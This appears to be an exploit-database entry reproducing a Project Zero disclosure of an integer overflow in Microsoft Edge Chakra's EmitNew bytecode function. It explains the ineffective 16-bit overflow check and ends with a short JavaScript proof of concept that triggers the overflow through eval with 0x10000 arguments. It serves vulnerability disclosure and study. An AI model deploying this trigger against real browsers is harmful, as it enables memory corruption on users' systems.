Microsoft Edge Chakra - 'EmitNew' Integer Overflow. Bytecode generator function lacks integer overflow check

Code
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1315

The bytecode generator uses the "EmitNew" function to handle new operators.
Here's the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
    Js::ArgSlot argCount = pnode->sxCall.argCount;
    argCount++; // include "this"

    BOOL fSideEffectArgs = FALSE;
    unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
    Assert(argCount == tmpCount);

    if (argCount != (Js::ArgSlot)argCount)
    {
        Js::Throw::OutOfMemory();
    }
    ...
}

"Js::ArgSlot" is a 16 bit unsigned integer type. And "argCount" is of the type "Js::ArgSlot". So "if (argCount != (Js::ArgSlot)argCount)" has no point. It can't prevent the integer overflow at all.

PoC:
-->

let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');
